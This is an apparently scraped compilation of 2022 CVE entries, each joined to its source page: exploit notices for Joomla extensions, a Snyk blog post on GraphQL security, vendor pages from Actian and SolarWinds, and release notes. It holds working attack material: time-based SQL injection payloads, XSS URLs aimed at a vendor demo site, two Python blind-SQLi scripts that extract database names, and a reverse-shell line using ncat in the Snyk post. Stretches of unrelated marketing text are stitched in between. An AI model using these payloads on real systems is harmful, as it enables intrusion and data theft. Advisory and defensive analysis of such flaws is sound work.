Joomla JS Jobs Pro extension version 1.3.6 suffers from a remote SQL injection vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                      [ Exploits ]                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : extensions.joomla.org                                                      ││  Vendor   : Joom Sky - joomsky.com                                                     ││  Software : JS Jobs Pro 1.3.6 JobPortal for Joomla                                     ││  Vuln Type: SQL Injection                                                              ││  Method   : POST                                                                       ││  Impact   : Database Access                                                            ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                              B4nks-NET irc.b4nks.tk #unix                             ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  Typically used for remotely exploitable vulnerabilities that can lead to              ││  system compromise                                                                     ││                                                                                        ││                                                                                        ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL            CryptoJob (Twitter) twitter.com/CryptozJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2022                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /js-jobs/jm/pro/index.php/employer-control-panel/resume-search-resultsPOST parameter 'nationality' is vulnerable---Parameter: nationality (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 time-based blind - Parameter replace    Payload: title=&name=&nationality=(CASE WHEN (5462=5462) THEN SLEEP(5) ELSE 5462 END)&gender=&jobcategory=&jobsubcategory=&jobtype=&currency=&jobsalaryrange=&heighestfinisheducation=&experiencemin=&experiencemax=&keywords=&submit_app=Resume Search&isresumesearch=1&view=resume&layout=resume_searchresults&uid=0&option=com_jsjobs&task11=view---[+] Starting the Attack[INFO] the back-end DBMS is MySQLweb application technology: LiteSpeedback-end DBMS: MySQL >= 5.0.12 (MariaDB fork)[INFO] fetching current databasecurrent database: 'demjomsk_jmjsjobs'[-] Done

Joomla JS Jobs Pro 1.3.6 SQL Injection

Joomla jMarket extension version 5.15 suffers from a cross site scripting vulnerability.

┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││                                     C r a C k E r                                    ┌┘  
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                      [ Exploits ]                                    ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:  Author   : CraCkEr                                                                    :  
│  Website  : extensions.joomla.org                                                      │  
│  Vendor   : Joobi                                                                      │  
│  Software : jMarket 5.15 Multi-Vendor Shopping Cart for Joomla                         │  
│  Vuln Type: Reflected XSS                                                              │  
│  Method   : GET                                                                        │  
│  Impact   : Manipulate the content of the site                                         │  
│                                                                                        │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│                              B4nks-NET irc.b4nks.tk #unix                             ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:                                                                                        :  
│  Release Notes:                                                                        │  
│  ═════════════                                                                         │  
│  The attacker can send to victim a link containing a malicious URL in an email or      │  
│  instant message can perform a wide variety of actions, such as stealing the victim's  │  
│  session token or login credentials                                                    │  
│                                                                                        │  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                                                                      ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL   

         CryptoJob (Twitter) twitter.com/CryptozJob

     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                    © CraCkEr 2022                                    ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

GET parameter 'controller' is vulnerable to XSS

https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-resultsqmzro%22onmouseover=%22alert(1)%22style=%22position:absolute;width:100%;height:100%;top:0;left:0;%22rqo95my69wy

GET parameter 'trucs%5Bx%5D%5Bsearch%5D' is vulnerable to XSS

https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs%5Bx%5D%5Bsearch%5D=gx3vt%20onfocus%3dalert(1)%20autofocus%3d%20itkrzsug7w5&trucs%5Bx%5D%5Bcatid%5D=28&option=com_jvouchers&Itemid=236&boxchecked=0&b92b3eff2e9146e306b474abafad73b4=zjg1&trucs%5Bs%5D%5Bftype%5D=0&trucs%5Bs%5D%5Bmid%5D=182&trucs%5Bs%5D%5Bpkey%5D=pid&trucs%5B182%5D%5Bpid%5D=0&trucs%5Bs%5D%5Bnew%5D=1&task_redirect=home&returnid=aW5kZXgucGhwP29wdGlvbj1jb21fanZvdWNoZXJzJmNvbnRyb2xsZXI9Y2F0YWxvZy1yZXN1bHRzJnRhc2s9aG9tZSZJdGVtaWQ9MjM2JnNlYXJjaD1TZWFyY2guLi4mZm9ybWF0PWh0bWwmY2F0YWxvZ1NlYXJjaElucHV0U2l6ZT0xMDAlJmF1dG9zYXZlPTE%3D

GET parameter 'vWjx' is vulnerable to XSS

https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-results&task=home&wajx=1&wmjx=1&tmpl=component&type=raw&limitstartw44_a45a2eb907d344c4d11b95b39a363661=20&vWjx=sabif%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20ax650sfkaze&vWdjx=44&fRmjx=wf_catalog_results_catalog_search_results&trucs%5Bx%5D%5Bsearch%5D=Search...&choicesorting=newest&option=com_jvouchers&Itemid=236&boxchecked=0&b92b3eff2e9146e306b474abafad73b4=zjg1&trucs%5Bs%5D%5Bftype%5D=0&limitstartw44_a45a2eb907d344c4d11b95b39a363661=0&trucs%5Bs%5D%5Bnew%5D=1&task_redirect=home&returnid=aW5kZXgucGhwP29wdGlvbj1jb21fanZvdWNoZXJzJmNvbnRyb2xsZXI9Y2F0YWxvZy1yZXN1bHRzJnRhc2s9aG9tZSZJdGVtaWQ9MjM2JnNlYXJjaD1TZWFyY2guLi4mZm9ybWF0PWh0bWw%3D

GET parameter 'Itemid' is vulnerable to XSS

https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs%5Bx%5D%5Bsearch%5D=Search...&trucs%5Bx%5D%5Bcatid%5D=28&option=com_jvouchers&Itemid=is9fk%20onfocus%3dalert(1)%20autofocus%3d%20f7adumy8lgl&boxchecked=0&b92b3eff2e9146e306b474abafad73b4=zjg1&trucs%5Bs%5D%5Bftype%5D=0&trucs%5Bs%5D%5Bmid%5D=182&trucs%5Bs%5D%5Bpkey%5D=pid&trucs%5B182%5D%5Bpid%5D=0&trucs%5Bs%5D%5Bnew%5D=1&task_redirect=home&returnid=aW5kZXgucGhwP29wdGlvbj1jb21fanZvdWNoZXJzJmNvbnRyb2xsZXI9Y2F0YWxvZy1yZXN1bHRzJnRhc2s9aG9tZSZJdGVtaWQ9MjM2JnNlYXJjaD1TZWFyY2guLi4mZm9ybWF0PWh0bWwmY2F0YWxvZ1NlYXJjaElucHV0U2l6ZT0xMDAlJmF1dG9zYXZlPTE%3D

GET parameter 'trucs%5B182%5D%5Bpid%5D' is vulnerable to XSS

https://joomla.demo.joobi.org/index.php?option=com_jvouchers&controller=catalog-results&task=query&wajx=1&wmjx=1&tmpl=component&type=raw&crtyid=12&trucs%5Bx%5D%5Bsearch%5D=Search...&trucs%5Bx%5D%5Bcatid%5D=28&option=com_jvouchers&Itemid=236&boxchecked=0&b92b3eff2e9146e306b474abafad73b4=zjg1&trucs%5Bs%5D%5Bftype%5D=0&trucs%5Bs%5D%5Bmid%5D=182&trucs%5Bs%5D%5Bpkey%5D=pid&trucs%5B182%5D%5Bpid%5D=ugb9n%20onmouseover%3dalert(1)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20zn67rnvkbhb&trucs%5Bs%5D%5Bnew%5D=1&task_redirect=home&returnid=aW5kZXgucGhwP29wdGlvbj1jb21fanZvdWNoZXJzJmNvbnRyb2xsZXI9Y2F0YWxvZy1yZXN1bHRzJnRhc2s9aG9tZSZJdGVtaWQ9MjM2JnNlYXJjaD1TZWFyY2guLi4mZm9ybWF0PWh0bWwmY2F0YWxvZ1NlYXJjaElucHV0U2l6ZT0xMDAlJmF1dG9zYXZlPTE%3D

[-] Done

Joomla jMarket 5.15 Cross Site Scripting

SonicJS through 0.6.0 allows file overwrite. It has the following mutations that are used for updating files: fileCreate and fileUpdate. Both of these mutations can be called without any authentication to overwrite any files on a SonicJS application, leading to Arbitrary File Write and Delete.

GraphQL is an API query language developed by Facebook in 2015. Since then, its unique features and capabilities have made it a viable alternative to REST APIs. When it comes to security, GraphQL servers can house several types of misconfigurations that result in data compromise, access control issues, and other high risk vulnerabilities.

While security issues with GraphQL are widely known, there’s little information on finding them  outside of using dynamic analysis. In this post, we’ll discuss how common GraphQL vulnerabilities present in a codebase, as well as and how to find them using static analysis tools and GraphQL Security. Since many widely used GraphQL frameworks exist within npm, we’ll focus on examples from the NodeJS ecosystem. 

**Taint analysis through GraphQL frameworks**

SQL injection and deserialization vulnerabilities have been reported in numerous studies on GraphQL endpoints. An example of this can be seen in HackerOne’s report where a SQL Injection is present through a GraphQL parameter. 

Like REST API parameters, GraphQL arguments are a source of taint where user input can be introduced to an application. Static analysis tools should be able to identify and model these parameters accurately in an application. 

In GraphQL frameworks, resolvers map between schema, function, and arguments before being passed through to resolver functions. The following example depicts the **args** argument as an object that contains all GraphQL arguments that were provided for the field by the GraphQL operation.

    const resolvers = {
      Query: {
        user(parent, args, context, info) {
          return runFunction(args.parameter);
        }
      }
    }

These args expressions can be traced by the Snyk Code engine, which leverages points-to analysis and typestate analysis to accurately record program execution. The Snyk Code analysis of SonicJS, a modern open source NodeJs based content management system, is a helpful example. 

SonicJS helps users conduct CMS operations through their GraphQL endpoint. One such operation is the fileUpdate mutation operation which allows a user to update their files.

        fileUpdate: {
          type: FileType,
          args: {
            filePath: { type: new GraphQLNonNull(GraphQLString) },
            fileContent: { type: new GraphQLNonNull(GraphQLString) },
            sessionID: { type: GraphQLString },
          },
          resolve(parent, args) {
            fileService.writeFile(args.filePath, args.fileContent);
            let fileData = new FileData(args.filePath, args.fileContent);
            return fileData;
          },

(source code)

This mutation query takes user-provided input calledargs.filePathand args.fileContent and this is then provided to the writeFile function of the fileService object. The function implementation of the fileService object exists in server/services/file.service.jsand can be seen below.

        writeFile: async function (filePath, fileContent) {
          Let fullPath = path.join(this.getRootAppPath(), filePath);
          Await fsPromise.writeFile(fullPath, fileContent);
        },

(source code)

This function takes both GraphQL arguments and uses the fs.writeFile function to update the file on the provided path. However, this function can be exploited to traverse the given application directory and create a new file anywhere in the target system, like in the following GraphQL query: 

    mutation {
    
    fileUpdate(
    filePath: "../../../../../../../../../../../../tmp/test.txt",
    fileContent: "exploitable",
    sessionID:"nosessioncheckinplace"
    ){
    filePath
    fileContent
    }
    }

This vulnerability makes it possible to execute code on the system by overwriting one of the SonicJS service files with malicious JavaScript that was loaded by the SonicJS system during startup or reboot. For example, the following statement uses the child_process function to backdoor the application and connect to an attacker controlled IP address by leveraging the ncat program that is installed on the target system. 

    require("child_process").exec('ncat 127.0.0.1 4445 -e /bin/bash')

The Snyk Code report for this vulnerability can be seen below:

SonicJS can prevent this vulnerability in the future by requiring authentication and authorization for the query, and validating the provided file path to ensure special characters such as ../ are not allowed.  

**GraphQL introspection**

GraphQL’s introspection system can be used to discover what queries are supported by a GraphQL server. This includes types, fields, queries, mutations, and other information related to a GraphQL schema.

While this is a feature and is not a direct security issue, introspection can often be used to find hidden functionality that an attacker can abuse. 

Within the NodeJS ecosystem, JavaScript frameworks often enable introspection by default, which may not be clear to developers. So, when using the GraphQL framework without specifying settings, like in express-graphql below, introspection is enabled automatically. 

    import express from 'express'
    import graphqlHTTP from 'express-graphql'
    import Myschema from './schema'
    
    const app = express();
    app.use('/graphql', graphqlHTTP((req, res) => ({ 
      Schema: MySchema,
    })))

An example of this report within Snyk code can be seen below:

Since there might be legitimate cases where introspection is needed for a production application, this issue was reported as **low risk**. 

To disable introspection within express-graphql , use the NoSchemaIntrospectionCustomRule provided by the graphql-js. 

    import express from 'express'
    import graphqlHTTP from 'express-graphql'
    import Myschema from './schema'
    import { specifiedRules, NoSchemaIntrospectionCustomRule } from 'graphql';
    
    const app = express();
    app.use('/graphql', graphqlHTTP((req, res) => ({ 
      Schema: MySchema,
    validationRules: [...specifiedRules, NoSchemaIntrospectionCustomRule],
    })))

While having introspection in production can lead to security issues, it is often needed for development. The creators of ApolloServer tackled this issue by enabling or disabling introspection based on the production status. 

    // introspection is only enabled based on NODE_ENV
    const apolloServer = new ApolloServer({
      schema,
      introspection: process.env.NODE_ENV !== 'production' && CUSTOM_ENV !== 'production',
    });
    export default apolloServer;

If using another GraphQL framework, a third-party library such as the graphql-disable-introspection package can be used to validate rules within your GraphQL endpoint. 

**GraphQL denial of service**

Each query has a depth of nested objects that can be processed by a GraphQL endpoint. Most GraphQL frameworks do not have a default depth limit. Queries with unlimited depths can leave the framework vulnerable to denial of service (DoS) attacks, like in the following example:  

    {
        one {
            two {
                one {
                    two {
                        one…
                    }
                }
            }
        }
    }

However, for this issue to be exploitable, the GraphQL server must have a recursive pattern of field types where a two-way relationship exists. An example of this report within Snyk code can be seen below:

This DoS vulnerability was found  within mevn-cli. To fix this, the graphql-depth-limit package available through npm can be used as follows:

    import depthLimit from 'graphql-depth-limit'
    import express from 'express'
    import graphqlHTTP from 'express-graphql'
    import schema from './schema'
    
    
    const app = express() 
    app.use('/graphql', graphqlHTTP((req, res) => ({ 
      schema,
      validationRules: [ depthLimit(10) ]
    })))

Review this mevn-cli repository commit to see an example of this fix.

Another way to prevent DoS attacks is to check request body length within your GraphQL endpoint. Large queries can be an indication of DoS attacks, so monitoring query length is a simple and effective verification.

    // query length is checked here to prevent DoS
      app.use('/graphql', graphqlExpress((req) => {     
     const query = req.query.query || req.body.query;
        if (query && query.length > 2000) {
          // Normal GraphQL queries are not this long
          // Probably indicates someone trying to send an overly expensive query
          throw new Error('Query too large.');
        }
    
        return {
          schema,
          context: Object.assign({}, context),
          debug: true,
        };
      }));

**GraphQL injection**

By allowing an attacker to interfere with an application query, a GraphQL injection gives malicious parties access to data they normally can’t retrieve — including user data or any other data the application can access. In many cases, this data can be modified or deleted, causing persistent changes to the application’s content and behavior.

@octokit/core is a minimalistic library built to utilize GitHub’s REST API and GraphQL API to create GraphQL queries. In cases where user input is used to dynamically create a GraphQL, an attacker might be able to modify this query to access confidential information. An example of this issue can be seen below:

    app.get('/', async function(req, res) {
    
        let user = req.query.page;
    
        const { articles } = await octokit.graphql(
            `
              query lastIssues($owner: String!, $repo: String!) {
                repository(owner: ${input}, name: $repo) {
                  issues(last: $num) {
                    edges {
                      node {
                        title
                      }
                    }
                  }
                }
              }
            `,
            {
              owner: "octokit",
              repo: "graphql.js",
            }
          );

An example of this report within Snyk code can be seen below.

To prevent GraphQL injection, avoid passing user-entered parameters directly to a GraphQL query. If direct user input is required for performance, validate the input against a very strict allowlist of permitted characters — avoiding special characters such as ? & / < > ; - and (space) — and use a vendor-supplied escaping routine if possible.

**Conclusion**

Snyk Code currently supports the following GraphQL frameworks through a variety of taint analysis and semantic rules: 

*   express-graphql
*   koa-graphql
*   mercurius
*   apollo-server
*   graphql-js

We hope to add further support for GraphQL vulnerabilities such as insecure object, direct reference, and access control issues. While GraphQL is currently supported for JavaScript, we aim to add more languages and code quality rules to address issues such as batching attacks and query complexity.

**Improving GraphQL security with Snyk**

Scan your applications with Snyk Code to find and fix vulnerabilities.

CVE-2022-42002: Improving GraphQL security with static analysis and Snyk Code | Snyk

Dairy Farm Shop Management System 1.0 is vulnerable to SQL Injection via bwdate-report-ds.php file.

vendor：https://phpgurukul.com/

download link：https://phpgurukul.com/?smd\_process\_download=1&download\_id=10924

Vulnerability trigger parameter: $cname

The process of vulnerability discovery is as follows：

You can see in the source code that the '$cname' in the php file is likely to be injected. Then you can judge from the following if else statement that this variable can splice malicious code, and you can perform blind injection.

POC:

import requests
import time
 
url \= "http://localhost/DFScms/dfsms/bwdate-report-ds.php"
flag \= ''
 
 
def payload(i, j):
    startTime\=time.time()
    \# 数据库名字
    sql \= "companyname=-1'and if(ascii(substr(database(),%d,1))>%d,sleep(3),-1)and'1=1&submit="%(i,j)
    \# 表名
    #sql = "id = if(ascii(substr((select group\_concat(table\_name) from information\_schema.columns where table\_schema=database()),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
    \# 列名
    #sql = "id = if(ascii(substr((select group\_concat(column\_name) from information\_schema.columns where table\_schema=database()),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
    \# 查询flag
    #sql = "id = if(ascii(substr((select password from users),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
 
    headers \= {
        "Content-Type": "application/x-www-form-urlencoded",
        "Cookie": "PHPSESSID=iv4ujtg89cbg68hdmaqb4bbkl7"
    }
 
    r \= requests.post(url\=url, headers\=headers, data\=sql, timeout\=15, verify\=False)
    \# print (r.url)
    if time.time()\-startTime\>2:
        res \= 1
    else:
        res \= 0
    return res
 
 
def exp():
    global flag
    for i in range(1, 200):
        low \= 31
        high \= 127
        while low <= high:
            mid \= (low + high) // 2
            res \= payload(i, mid)
            if res:
                low \= mid + 1
            else:
                high \= mid \- 1
        f \= int((low + high + 1)) // 2
        if (f \== 127 or f \== 31):
            break
        \# print (f)
        flag += chr(f)
        print(flag)
 
 
exp()

The database name was exploded

CVE-2022-40943: CVE/bwdate-report-ds-sql(CVE-2022-40943).md at main · Qrayyy/CVE

Insecure direct object references (IDOR) vulnerability in ExpressTech Quiz And Survey Master plugin <= 7.3.4 at WordPress allows attackers to change the content of the quiz.

CVE-2021-36865: Quiz And Survey Master – Best Quiz, Exam and Survey Plugin for WordPress

If folder security is misconfigured for Actian Zen PSQL BEFORE Patch Update 1 for Zen 15 SP1 (v15.11.005), Patch Update 4 for Zen 15 (v15.01.017), or Patch Update 5 for Zen 14 SP2 (v14.21.022), it can allow an attacker (with file read/write access) to remove specific security files in order to reset the master password and gain access to the database.

**Committed to Your Success**

A Comprehensive Portfolio of Support, Services, and Education

**Actian Methodology™**

**Activate Your Data**

Actian offers our customers a comprehensive range of customer support and service offerings in local geographies and languages. We have a highly-experienced team of support and service engineers providing a broad spectrum of services.

“By using Actian EMA+ during the upgrade, we were able to monitor the whole environment and identify and resolve issues with performance, stability, housekeeping, or DR processes as soon as they occurred.”

**Rob Andrews**, Upgrade Project Manager, The University of the West of England

Actian Support Services provides tools, searchable documentation, and technical resources to help you plan, deploy and manage your Actian solutions.

*   Reliable technical expertise, guidance, and knowledge are available 24×7.
*   Proactive tools, technical articles, and verified solutions are available to help you quickly find the answers you need.
*   Actian Security Center with security alerts and fixes.

Visit Support Services

“Actian specializes in managing, connecting and analyzing data so you can focus on changing your customer challenges into successes, especially in hybrid environments.”

**Pamela Fowler**, SVP,  Professional and Support Services

**Operational Services**

The cornerstone of Actian’s proactive support options, an Operational Service provides access to an expert and dedicated team, led by a Technical Account Lead, to deliver:

*   Enhanced operational reliability for your mission-critical systems
*   Best-practice advice and guidance for using Actian software
*   Hands-on remote database administration (option)
*   A full managed service (option)

Learn More

“We knew we had to upgrade our database in order to benefit from encryption and make sure our online website offering was fully compliant. Actian Services was on hand to help us upgrade our database with minimum disruption. They ensured a smooth transition to the new database platform.”

**Dennis Joseph**, Computer Services Manager, HSS Hire

Read the Case Study

**Consulting Services**

*   Implementations and upgrades
*   Development and performance tuning
*   Project management

Learn More

“As a national meteorological service, Met Éireann is a 24/7, 365 day-per-year operation. Our users and customers depend on us to provide accurate and timely weather and climatological information. Disruption to services is not an option. Actian Professional Services provided us with the specialised expertise necessary to deliver an effective solution for upgrading our database and improving performance without compromising service to our customers.”

**Conor Lally**, Meteorologist, Observations Division, Met Éireann

Read the Case Study

**Actian Academy**

The Actian Academy is an on-demand learning platform that lets you transform your learning journey and become more proficient with Actian Technologies. Our on-demand platform houses product courses that cover all Actian products and tools.  The course curriculum targets the needs of system administrators and developers for Actian Solutions, including our Hybrid Cloud Data Warehouse, Enterprise Data Integration, Edge Data Management, and Transactional Databases.

The Actian Academy features videos, topic overviews, reference materials, hands-on tasks, and real-life scenarios that will—in just a few days—increase your productivity with our solutions and prepare you to embrace new technology standards.

Learn More

**Security Center**

Information security is of utmost priority to Actian. Check for recommended resources to protect your data from security vulnerabilities, and report or learn about any current incidents, by visiting our Security Center

Learn More

BlogAsset 1PRDatasheetDatasheetAsset 1DownloadForumGuideLinkWebinarPRPresentationRoad MapVideo

CVE-2022-40756: Professional and Support Services

Dairy Farm Shop Management System 1.0 is vulnerable to SQL Injection via sales-report-ds.php file.

**1.首先可以在源码中看到sales-report-ds.php文件中的'$cname'存在注入的可能，再根据后面的if-else语句进行判断得知该变量能拼接恶意代码，可以进行盲注。**

  

**2.漏洞验证代码如下：**

    import requests
    import time
     
    url = "http://localhost/DFScms/dfsms/sales-report-ds.php"
    flag = ''
     
     
    def payload(i, j):
        startTime=time.time()
        # 数据库名字
        sql = "companyname=-1'and if(ascii(substr(database(),%d,1))>%d,sleep(3),-1)and'1=1&submit="%(i,j)
        # 表名
        #sql = "id = if(ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=database()),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
        # 列名
        #sql = "id = if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
        # 查询flag
        #sql = "id = if(ascii(substr((select password from users),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
    
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Cookie": "PHPSESSID=iv4ujtg89cbg68hdmaqb4bbkl7"
        }
    
        r = requests.post(url=url, headers=headers, data=sql, timeout=15, verify=False)
        # print (r.url)
        if time.time()-startTime>2:
            res = 1
        else:
            res = 0
        return res
     
     
    def exp():
        global flag
        for i in range(1, 200):
            low = 31
            high = 127
            while low <= high:
                mid = (low + high) // 2
                res = payload(i, mid)
                if res:
                    low = mid + 1
                else:
                    high = mid - 1
            f = int((low + high + 1)) // 2
            if (f == 127 or f == 31):
                break
            # print (f)
            flag += chr(f)
            print(flag)
     
    
    exp()
    

**3.运行poc，下图爆出了数据库名**

 最后一次更新于2022-09-29

CVE-2022-40944: Dairy Farm Shop Management System中的sales-report-ds.php存在sql注入 - 在谷底也要开花

Insufficient sanitization of inputs in QoE application input field could lead to stored and Dom based XSS attack. This issue is fixed and released in SolarWinds Platform (2022.3.0).



*   Observability
    *   Explore the Platform
    *   SolarWinds Observability
    *   Hybrid Cloud Observability
    *   or View All Observability Products
*   Network Management
    *   Hybrid Cloud Observability
    *   Network Configuration Manager
    *   Kiwi Syslog Server
    *   Network Performance Monitor
    *   Netflow Traffic Analyzer
    *   Network Topology Manager
    *   or View All Network Management Products
*   Systems Management
    *   Hybrid Cloud Observability
    *   Virtualization Manager
    *   Web Performance Monitor
    *   Server & Application Monitor
    *   Storage Resource Monitor
    *   Server Configuration Monitor
    *   or View All Systems Management Products
*   Database Management
    *   Database Performance Analyzer
    *   SQL Sentry
    *   Database Insights for SQL Server
    *   Database Performance Monitor
    *   Task Factory
    *   or View All Database Management Products
*   IT Service Management
    *   Service Desk
    *   Web Help Desk
    *   Explore Dameware
    *   Dameware Remote Everywhere
    *   Dameware Remote Support
    *   or View All IT Service Management Products
*   Application Management
    *   SolarWinds Observability
    *   AppOptics
    *   Server & Application Monitor
    *   Pingdom
    *   Loggly
    *   Web Performance Monitor
    *   or View All Application Management Products
*   IT Security
    *   Access Rights Manager
    *   Patch Manager
    *   Serv-U Secured FTP
    *   Server Event Manager
    *   Identity Monitor
    *   Serv-U Managed File Transfer
    *   or View All IT Security Products
*   or View All Products & Free Trials

The SolarWinds Platform is the industry’s only unified monitoring, observability, and service management platform. It’s the foundation for a new generation of SolarWinds observability solutions and provides the architecture on how we solve observability challenges for our customers.

Top Products

*   Explore the Platform
*   SolarWinds Observability

*   Hybrid Cloud Observability

View All Observability Products

Network management tools, from configuration and traffic intelligence to performance monitoring and topology mapping, to readily see, understand, and resolve issues. An integrated, multi-vendor approach that’s easy to use, extend, and scale to keep distributed networks optimized.

Top Products

*   Hybrid Cloud Observability
*   Network Configuration Manager
*   Kiwi Syslog Server

*   Network Performance Monitor
*   Netflow Traffic Analyzer
*   Network Topology Manager

View All Network Management Products

Comprehensive server and application management that’s simple, interoperable, and customizable from systems, IPs, and VMs to containers and services. Optimize resource usage and reduce MTTR with powerful monitoring, discovery, dependency mapping, alerting, reporting, and capacity planning.

Top Products

*   Hybrid Cloud Observability
*   Virtualization Manager
*   Web Performance Monitor

*   Server & Application Monitor
*   Storage Resource Monitor
*   Server Configuration Monitor

View All Systems Management Products

Monitor, analyze, diagnose, and optimize database performance and data ops that drive your business-critical applications. Unify on-premises and cloud database visibility, control, and management with streamlined monitoring, mapping, data lineage, data integration, and tuning across multiple vendors.

Top Products

*   Database Performance Analyzer
*   SQL Sentry
*   Database Insights for SQL Server

*   Database Performance Monitor
*   Task Factory

View All Database Management Products

Modernize your service desk with intelligent and automated ticketing, asset, configuration, and service-level agreement (SLA) management; a knowledge base; and a self-service portal with secure remote assistance. SolarWinds offers an easy-to-use IT service management (ITSM) platform designed to meet your service management needs to maximize productivity while adhering to ITIL best practices.

Top Products

*   Service Desk
*   Web Help Desk
*   Explore Dameware

*   Dameware Remote Everywhere
*   Dameware Remote Support

View All IT Service Management Products

Ensure user experience with unified performance monitoring, tracing, and metrics across applications, clouds, and SaaS. Robust solutions offering rich visualization, synthetic and real user monitoring (RUM), and extensive log management, alerting, and analytics to expedite troubleshooting and reporting.

Top Products

*   SolarWinds Observability
*   AppOptics
*   Server & Application Monitor

*   Pingdom
*   Loggly
*   Web Performance Monitor

View All Application Management Products

Reduce attack surface, manage access, and improve compliance with IT security solutions designed for accelerated time-to-value ranging from security event management, access rights management, identity monitoring, server configuration monitoring and patching, and secure gateway and file transfer.

Top Products

*   Access Rights Manager
*   Patch Manager
*   Serv-U Secured FTP

*   Security Event Manager
*   Identity Monitor
*   Serv-U Managed File Transfer

View All IT Security Products

CVE-2022-36965: SolarWinds Trust Center Security Advisories | CVE-2022-36965

Insufficient sanitization of inputs in QoE application input field could lead to stored and Dom based XSS attack. This issue is fixed and released in SolarWinds Platform (2022.3.0).

Release date: September 28, 2022

These release notes describe the new features, improvements, and fixed issues in SolarWinds Platform 2022.3. They also provide information about upgrades and describe workarounds for known issues.

Learn more

*   For information on latest hotfixes, see SolarWinds Platform Hotfixes.
*   For release notes for previous SolarWinds Platform versions, see Previous Version documentation.
*   For information about requirements, see SolarWinds Platform 2022.3 System Requirements.
*   For information about working with the SolarWinds Platform, see the SolarWinds Platform Administrator Guide.

**New features and improvements in SolarWinds Platform**

Return to top

**Instantly Evaluate Other Products**

Evaluate SolarWinds Platform products and Hybrid Cloud Observability directly from SolarWinds Platform Web Console.

» Learn more

**New security improvements in SolarWinds Platform**

SolarWinds Platform 2022.3 offers new security improvements compared to previous releases of SolarWinds Platform.

*   Service interruptions reported from specific vulnerability scans are now prevented.
*   SHA256/512 support for SNMPv3 polling
*   Removed obsolete libraries referenced in SolarWinds Platform.

**Automatic migration of legacy syslogs and traps**

The legacy syslog and traps functionality has been retired and replaced with new functionality called SolarWinds Platform Log Viewer, which can be upgraded to Log Analyzer for additional capabilities.

Current rules and history will automatically be migrated to the new logging functionality (SolarWinds Platform Log Viewer or Log Analyzer). The functionality of SolarWinds Platform Log Viewer and Log Analyzer has been improved to more closely match legacy functionality. See LA 2022.3 release notes for details.

**New customer installation**

Return to top

For information about installing SolarWinds Platform, see SolarWinds Installer.

**How to upgrade**

Use the SolarWinds Installer to upgrade your entire SolarWinds Platform deployment (all SolarWinds Platform products and any scalability engines) to the current versions.

You must be on Orion Platform 2020.2 or later to upgrade to SolarWinds Platform 2022.3. If you are on Orion Platform 2019.4 or earlier, first upgrade to 2020.2.6 and then upgrade to SolarWinds Platform 2022.3.

**Before you upgrade**

*   Make sure all your legacy reports are migrated. You won't be able to access legacy reports and related tools anymore.
*   After upgrading to SolarWinds Hybrid Cloud Observability from an Orion Platform 2020.2.6 installation, you will need to update your MIB database.
*   Some upgrade situations from the Orion Platform to the SolarWinds Platform are not supported and the installer will stop the upgrade automatically.
    *   If you have a SQL Server older than 2016.
    *   If you have an Orion Platform product version 2019.4 or older.
*   The legacy syslog and traps functionality has been retired and replaced with new functionality called SolarWinds Platform Log Viewer, which can be upgraded to Log Analyzer for additional capabilities. Current rules and history will automatically be migrated to the new logging functionality (SolarWinds Platform Log Viewer or Log Analyzer). The functionality of SolarWinds Platform Log Viewer and Log Analyzer has been improved to more closely match legacy functionality. See LA 2022.3 release notes for details.
    
